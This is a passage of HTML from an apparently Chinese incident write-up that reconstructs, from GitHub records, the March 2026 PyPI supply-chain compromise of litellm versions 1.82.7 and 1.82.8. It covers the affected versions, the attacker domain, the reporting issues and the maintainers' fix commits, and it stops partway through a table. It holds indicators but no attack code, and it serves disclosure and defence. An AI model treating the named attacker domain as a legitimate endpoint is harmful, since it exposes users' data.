normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">基于 GitHub 项目记录的完整事件追踪</span></p><hr style="border-width: 0px 0px 1px;border-top-style: initial;border-right-style: initial;border-left-style: initial;border-color: rgba(0, 0, 0, 0.18);border-image: initial;height: 1px;border-bottom-style: solid;font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h2 data-line="6" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">事件概览</span></h2><table style="border-collapse: collapse;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><thead><tr><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">项目</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">信息</span></p></th></tr></thead><tbody><tr><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">仓库</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">BerriAI/litellm</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">GitHub Stars</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">40.3k</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">攻击类型</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">PyPI 供应链攻击</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">受影响版本</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">v1.82.7, v1.82.8</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">攻击入口</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">trivvy 安全扫描工具依赖</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">攻击者域名</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">models.litellm.cloud (2026-03-23 注册)</span></p></td></tr></tbody></table><hr style="border-width: 0px 0px 1px;border-top-style: initial;border-right-style: initial;border-left-style: initial;border-color: rgba(0, 0, 0, 0.18);border-image: initial;height: 1px;border-bottom-style: solid;font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h2 data-line="19" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">完整时间线</span></h2><h3 data-line="21" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">攻击准备阶段</span></h3><table style="border-collapse: collapse;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><thead><tr><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">时间</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">事件</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">来源</span></p></th></tr></thead><tbody><tr><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">2026-03-23</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">攻击者注册域名 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">models.litellm.cloud</span></code></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">Issue <a class="wx_topic_link" topic-id="mn63vx40-gl57q0" style="color: #576B95 !important;" data-topic="1" data-recommend="">#24518</a></span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">2026-03-23</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">攻击者通过 trivvy 依赖获得 PyPI 发布权限</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">Issue <a class="wx_topic_link" topic-id="mn63vx41-g2buvh" style="color: #576B95 !important;" data-topic="1" data-recommend="">#24518</a></span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">2026-03-23</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">恶意版本 v1.82.7 发布到 PyPI</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">Issue <a class="wx_topic_link" topic-id="mn63vx41-cjktm1" style="color: #576B95 !important;" data-topic="1" data-recommend="">#24518</a></span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">2026-03-23</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">恶意版本 v1.82.8 发布到 PyPI</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">Issue <a class="wx_topic_link" topic-id="mn63vx41-ngszfb" style="color: #576B95 !important;" data-topic="1" data-recommend="">#24518</a></span></p></td></tr></tbody></table><h3 data-line="30" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">发现与报告阶段</span></h3><table style="border-collapse: collapse;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><thead><tr><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">时间</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">事件</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">来源</span></p></th></tr></thead><tbody><tr><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">2026-03-24 11:48:51 UTC</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><strong><span leaf="">isfinne (Rui Hu)</span></strong><p><span leaf=""> 首次报告 Issue <a class="wx_topic_link" topic-id="mn63vx41-36ks4y" style="color: #576B95 !important;" data-topic="1" data-recommend="">#24512</a>: &#34;CRITICAL: Malicious litellm_init.pth in litellm 1.82.8&#34;</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">GitHub Issue</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">2026-03-24 13:14:11 UTC</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><strong><span leaf="">treo (Paul Dubs)</span></strong><p><span leaf=""> 报告 Issue <a class="wx_topic_link" topic-id="mn63vx41-oe9bbn" style="color: #576B95 !important;" data-topic="1" data-recommend="">#24514</a>: 扩展到 v1.82.7 和 v1.82.8</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">GitHub Issue</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">2026-03-24 13:38:18 UTC</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><strong><span leaf="">deepakmca05 (BharOS)</span></strong><p><span leaf=""> 报告 Issue <a class="wx_topic_link" topic-id="mn63vx41-klruh2" style="color: #576B95 !important;" data-topic="1" data-recommend="">#24517</a>: &#34;PyPI has quarantined litellm&#34;</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">GitHub Issue</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">2026-03-24 14:10:45 UTC</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">Issue <a class="wx_topic_link" topic-id="mn63vx41-lx0gva" style="color: #576B95 !important;" data-topic="1" data-recommend="">#24515</a>: 报告数据外泄到 models.litellm.cloud</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">GitHub Issue</span></p></td></tr></tbody></table><h3 data-line="39" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">应急响应阶段</span></h3><table style="border-collapse: collapse;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><thead><tr><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">时间</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">事件</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">提交/PR</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">作者</span></p></th></tr></thead><tbody><tr><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">2026-03-24 16:13:37 UTC</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><strong><span leaf="">PR <a class="wx_topic_link" topic-id="mn63vx41-cfkgie" style="color: #576B95 !important;" data-topic="1" data-recommend="">#24525</a></span></strong><p><span leaf="">: &#34;fix(security_scans.sh): pin trivvy version&#34;</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">fb37986</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">krrish-berri-2</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">2026-03-24 16:15:35 UTC</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">PR <a class="wx_topic_link" topic-id="mn63vx41-9n15rt" style="color: #576B95 !important;" data-topic="1" data-recommend="">#24525</a> 合并</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">-</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">krrish-berri-2</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">2026-03-24 18:19:15 UTC</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><strong><span leaf="">提交 f9d29e4</span></strong><p><span leaf="">: &#34;move to older trivvy version&#34;</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">f9d29e4</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">-</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">2026-03-24 22:54:35 UTC</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><strong><span leaf="">提交 eaa025e</span></strong><p><span leaf="">: &#34;add security update blog post&#34;</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">eaa025e</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">ryan-crabbe</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">2026-03-24 23:02:46 UTC</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><strong><span leaf="">PR <a class="wx_topic_link" topic-id="mn63vx41-z27yt4" style="color: #576B95 !important;" data-topic="1" data-recommend="">#24537</a></span></strong><p><span leaf="">: &#34;docs: add security update blog post&#34;</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">-</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">ryan-crabbe-berri</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">2026-03-24 23:07:45 UTC</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">PR <a class="wx_topic_link" topic-id="mn63vx41-hnz4z7" style="color: #576B95 !important;" data-topic="1" data-recommend="">#24537</a> 合并</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">-</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">ryan-crabbe-berri</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">2026-03-24 23:54:59 UTC</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><strong><span leaf="">提交 4571f2a</span></strong><p><span leaf="">: &#34;fix: add tldr to blog post&#34;</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">4571f2a</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">-</span></p></td></tr></tbody></table><h3 data-line="51" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">深度清理阶段</span></h3><table style="border-collapse: collapse;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe 